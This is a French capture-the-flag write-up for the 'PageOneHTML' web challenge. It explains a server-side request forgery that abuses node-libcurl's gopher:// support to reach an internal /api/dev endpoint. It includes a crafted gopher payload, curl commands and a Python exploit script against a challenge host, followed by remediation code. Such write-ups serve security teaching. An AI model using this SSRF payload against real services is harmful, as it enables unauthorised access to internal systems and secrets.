Amazon AppSec CTF : PageOneHTML

Résumé exécutif

  • Défi : PageOneHTML
  • Catégorie : Sécurité Web
  • Vulnérabilité : Server-Side Request Forgery (SSRF) via le protocole gopher://
  • Impact : Accès à un endpoint d’API interne menant à la divulgation du flag
  • Flags :
    • Local : HTB{f4k3_fl4g_f0r_t3st1ng}
    • Distant : HTB{l1bcurL_pla7h0r4_0f_pr0tocOl5}

Analyse Source-to-Sink

1. Point d’entrée - Entrée utilisateur (Source)

La vulnérabilité commence au endpoint /api/convert qui accepte du contenu markdown contrôlé par l’utilisateur :

// routes/index.js:15-28
router.post('/api/convert', async (req, res) => {
    const { markdown_content, port_images } = req.body;  // User input
    
    if (markdown_content) {
        html = MDHelper.makeHtml(markdown_content);      // Convert MD to HTML
        if (port_images) {                               // If port_images is true
            return ImageConverter.PortImages(html)       // Process images
                .then(newHTML => res.json({ content: newHTML }))
                .catch(() => res.json({ content: html }));
        }
        return res.json({ content: html });
    }
    return res.status(403).send(response('Missing parameters!'));
});

2. Traitement des images - Confusion de protocole

Le module ImageConverter extrait toutes les balises <img> et traite leurs attributs src :

// helpers/ImageConverter.js:5-28
module.exports = {
    PortImages(html) {
        return new Promise(async (resolve, reject) => {
            try {
                const $ = cheerio.load(html);
                function downloader(el) {
                    imgSrc = $(el).attr('src');  // Extract src attribute
                    return Promise.resolve(ImageDownloader.downloadImage(imgSrc));
                }
                Promise.all(
                    $('img')
                    .map(async (i, el) => {
                        newSrc = await downloader(el);  // Download and convert
                        $(el).attr('src', newSrc)       // Replace with data URI
                    })
                    .get()
                ).then(() => {
                    return resolve($.html());
                })
            } catch (e) {
                console.log(e);
                reject(e);
            }
        });
    }
};

3. Le sink vulnérable - Support protocolaire de libcurl

La vulnérabilité critique réside dans ImageDownloader.js qui utilise node-libcurl sans validation de protocole :

// helpers/ImageDownloader.js:29-49
module.exports = {
    async downloadImage(url) {
        return new Promise(async (resolve, reject) => {
            curly.get(url)  // VULNERABILITY: Accepts any protocol supported by libcurl
                .then(resp => {
                    buffer = Buffer.from(resp.data,'utf8')
                    if (isPng(buffer))
                        dataUri = "data:image/png;base64,";
                    else if (isJpg(buffer))
                        dataUri = "data:image/jpg;base64,";
                    else
                        dataUri = "data:image/svg+xml;base64";  // Non-images treated as SVG
                    return resolve(`${dataUri} ${buffer.toString('base64')}`);  // Leak response
                })
                .catch(e => {
                    console.log(e)
                    return resolve(url);
                })
        });
    }
};

Vulnérabilités clés :

  1. curly.get(url) accepte TOUS les protocoles supportés par libcurl (http, https, ftp, gopher, dict, file, etc.)
  2. Les réponses non-image sont encodées en base64 et renvoyées, ce qui divulgue leur contenu
  3. Aucune validation d’URL ni liste blanche de protocoles

4. La cible - Endpoint d’API interne

Le endpoint interne /api/dev est protégé uniquement par l’adresse IP et une clé API :

// routes/index.js:30-38
router.get('/api/dev', async (req, res) => {
    // Only allow requests from localhost
    if (req.ip != '127.0.0.1') return res.status(403).send(response('Access denied!'));
    
    if (req.headers["x-api-key"] == "934caf984a4ca94817ea6d87d37af4b3") {
        return res.send(execSync('./flagreader.bin').toString());  // Flag!
    }
    return res.status(403).send(response('missing apikey!'));
});

Chaîne d’exploitation

Diagramme du flux d’exploitation

sequenceDiagram
    participant Attacker
    participant WebApp as WebApp<br/>/api/convert
    participant InternalAPI as InternalAPI<br/>/api/dev

    Attacker->>WebApp: POST /api/convert<br/>markdown with gopher:// img src
    WebApp->>WebApp: Parse markdown to HTML<br/>Extract img src attributes
    WebApp->>InternalAPI: SSRF via gopher://<br/>GET /api/dev with API key
    InternalAPI->>InternalAPI: Verify source IP = 127.0.0.1 ✓<br/>Verify x-api-key ✓
    InternalAPI-->>WebApp: Return flag
    WebApp->>WebApp: Base64-encode response<br/>as data URI
    WebApp-->>Attacker: Return base64-encoded flag

Construction du payload

Étape 1 : Construire la requête HTTP brute

Nous devons envoyer cette requête HTTP au endpoint interne :

GET /api/dev HTTP/1.1
Host: 127.0.0.1
x-api-key: 934caf984a4ca94817ea6d87d37af4b3
Connection: close

Étape 2 : Convertir en URL Gopher

Le format du protocole gopher : gopher://host:port/_<data>

  • Encoder les espaces en %20
  • Encoder les CRLF en %0D%0A
  • Préfixer les données avec _
gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A

Étape 3 : Intégrer dans une balise image HTML

<img src="gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A">

Exploitation

Test local (conteneur Docker)

  1. Envoyer le payload d’exploitation :
curl -s http://127.0.0.1:1337/api/convert \
  -H 'Content-Type: application/json' \
  --data-binary '{
    "markdown_content": "<img src=\"gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A\">",
    "port_images": true
  }'
  1. Extraire et décoder la réponse base64 :
curl -s http://127.0.0.1:1337/api/convert \
  -H 'Content-Type: application/json' \
  --data-binary '{"markdown_content":"<img src=\"gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A\">","port_images":true}' \
  | jq -r .content \
  | sed -n 's/.*base64 \(.*\)".*/\1/p' \
  | tr -d '\n' \
  | base64 -d

Sortie locale :

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 27
Date: Thu, 11 Sep 2025 14:46:35 GMT
Connection: close

HTB{f4k3_fl4g_f0r_t3st1ng}

Exploitation distante

Script d’exploitation Python :

import json
import re
import base64
import urllib.request

# Target URL
url = "http://94.237.53.82:31404/api/convert"

# Gopher SSRF payload
payload = {
    "markdown_content": '<img src="gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0Ax-api-key:%20934caf984a4ca94817ea6d87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A">',
    "port_images": True
}

# Send request
req = urllib.request.Request(
    url,
    data=json.dumps(payload).encode(),
    headers={"Content-Type": "application/json"}
)

# Get response
response = urllib.request.urlopen(req, timeout=15).read().decode()
obj = json.loads(response)

# Extract base64 from data URI
content = obj.get("content", "")
match = re.search(r"base64\s+([A-Za-z0-9+/=\n\r]+)", content)

if match:
    b64_data = match.group(1).replace("\n", "").replace("\r", "")
    decoded = base64.b64decode(b64_data).decode()
    print(decoded)

Sortie distante :

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 35
Date: Thu, 11 Sep 2025 14:47:34 GMT
Connection: close

HTB{l1bcurL_pla7h0r4_0f_pr0tocOl5}

Analyse de la cause racine

Chaîne de vulnérabilités

graph LR
    A["Protocol Confusion<br/>(node-libcurl accepts<br/>all protocols)"] --> B["SSRF<br/>(no egress filtering)"]
    B --> C["Response Leakage<br/>(non-images base64-encoded<br/>and returned)"]
    C --> D["Weak Access Control<br/>(IP-only check)"]
    D --> E["Static Credentials<br/>(hardcoded API key)"]
    E --> F["Flag Disclosure"]

Problèmes de sécurité identifiés

  1. Confusion de protocole - node-libcurl accepte tous les protocoles sans validation
  2. SSRF - Aucun filtrage en sortie ni validation de destination
  3. Fuite de réponse - Le contenu non-image est encodé et renvoyé
  4. Contrôle d’accès faible - Le endpoint interne repose uniquement sur l’IP source
  5. Identifiants statiques - Clé API codée en dur dans le code source

Recommandations de remédiation

1. Liste blanche de protocoles

// Example fix for ImageDownloader.js
const ALLOWED_PROTOCOLS = ['http:', 'https:'];

async downloadImage(url) {
    const parsedUrl = new URL(url);
    if (!ALLOWED_PROTOCOLS.includes(parsedUrl.protocol)) {
        throw new Error('Invalid protocol');
    }
    // ... rest of the code
}

2. Protection contre les SSRF

// Block internal networks
const BLOCKED_IPS = [
    '127.0.0.0/8',      // Loopback
    '10.0.0.0/8',       // Private network
    '172.16.0.0/12',    // Private network
    '192.168.0.0/16',   // Private network
    '169.254.0.0/16',   // Link-local
    'fd00::/8',         // IPv6 private
    '::1/128'           // IPv6 loopback
];

function isInternalIP(hostname) {
    // Implement IP range checking
    // DNS resolution and validation
}

3. Validation du type de contenu

// Strict image validation
async downloadImage(url) {
    const response = await fetch(url);
    const contentType = response.headers.get('content-type');

    if (!contentType?.startsWith('image/')) {
        throw new Error('Not an image');
    }

    const buffer = await response.buffer();
    if (!isPng(buffer) && !isJpg(buffer) && !isSvg(buffer)) {
        throw new Error('Invalid image format');
    }
    // ... process valid image
}

4. Supprimer les endpoints de débogage internes

  • Supprimer le endpoint /api/dev en production
  • Utiliser des mécanismes d’authentification robustes (OAuth, JWT)
  • Mettre en place de la limitation de débit et de la surveillance

Chronologie

  1. Analyse initiale - La revue de code révèle un vecteur SSRF via node-libcurl
  2. Test de protocole - Confirmation du support du protocole gopher://
  3. Développement du payload - Construction de l’URL gopher avec la requête HTTP
  4. Exploitation locale - Récupération du flag de test depuis l’environnement Docker
  5. Exploitation distante - Extraction réussie du flag de production

Leçons apprises

  1. Ne jamais faire confiance aux entrées utilisateur - Toutes les URL doivent être validées
  2. Principe du moindre privilège - Utiliser un support protocolaire minimal
  3. Défense en profondeur - Plusieurs couches de sécurité sont nécessaires
  4. Configuration sécurisée par défaut - Les bibliothèques doivent être configurées de manière sécurisée
  5. Audits de sécurité réguliers - Les dépendances tierces nécessitent une revue

Références